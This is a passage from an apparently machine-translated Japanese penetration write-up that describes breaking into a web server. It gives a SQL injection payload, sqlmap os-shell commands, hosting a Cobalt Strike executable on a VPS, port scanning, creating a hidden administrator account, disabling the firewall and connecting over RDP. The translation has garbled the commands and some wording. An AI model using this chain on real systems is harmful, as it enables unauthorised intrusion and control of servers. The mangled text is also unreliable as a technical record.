1049983-20220106104525998-665197367.png

このプロセスは2、3回連続して試されましたが、失敗し、その理由は見つかりませんでした。サービスはオフになりました。最初に試験を受け、管理者がコンピューターをオンにするのを待たなければなりませんでした。

1049983-20220106104526502-908582224.png

Webサイトは、試験後の3日目にオンラインです。新しいユーザーを作成してみてください.

セキュリティポリシーの問題であることがわかりました。簡単なパスワードを使用することはできません。新しいユーザーを作成するときは、複雑なパスワードを使用するだけです。

リモート接続件1049983-20220106104527002-46563665.png

構成が読み込まれています.

1049983-20220106104527472-1245304440.png

1049983-20220106104528176-432036921.png

0x03要約

1。ホームページhttp://url/newdetail.aspx？id=11999 'または1=1 -2で注入ポイントを見つけました。 sqlmapを介して注入するには、コマンドを実行してください：sql-shellselect @@ version; //データベースバージョンSQL-OSWHOAMIをクエリしますVPS Python -M SimpleHttpserver 804のHTTPサーバー。CSGenerationExeはVPSサーバーにアップロードできます。 5. NAMPを介してターゲットシステムを開くポートをスキャンして、3389が存在することを見つけます。6。ユーザーを作成して管理者の権限に追加し、耐火機能をオフにします＃新しいユーザーSQL-OSNETユーザーAmazingAdmin123 admin@12 $ 12 /add sql-osnet sql-osnet rocalgroop管理者sqlmin123 /aditadmin123 /adit admin123 /addmin123を追加AmazingAdmin123 /Active:YES＃ファイアウォールSQL-OSNETSHファイアウォールセットOPMODEモード=Disable7を閉じます。 MSTSC

オリジナルリンク：https://xz.aliyun.com/t/9444を介してリモートで正常に接続します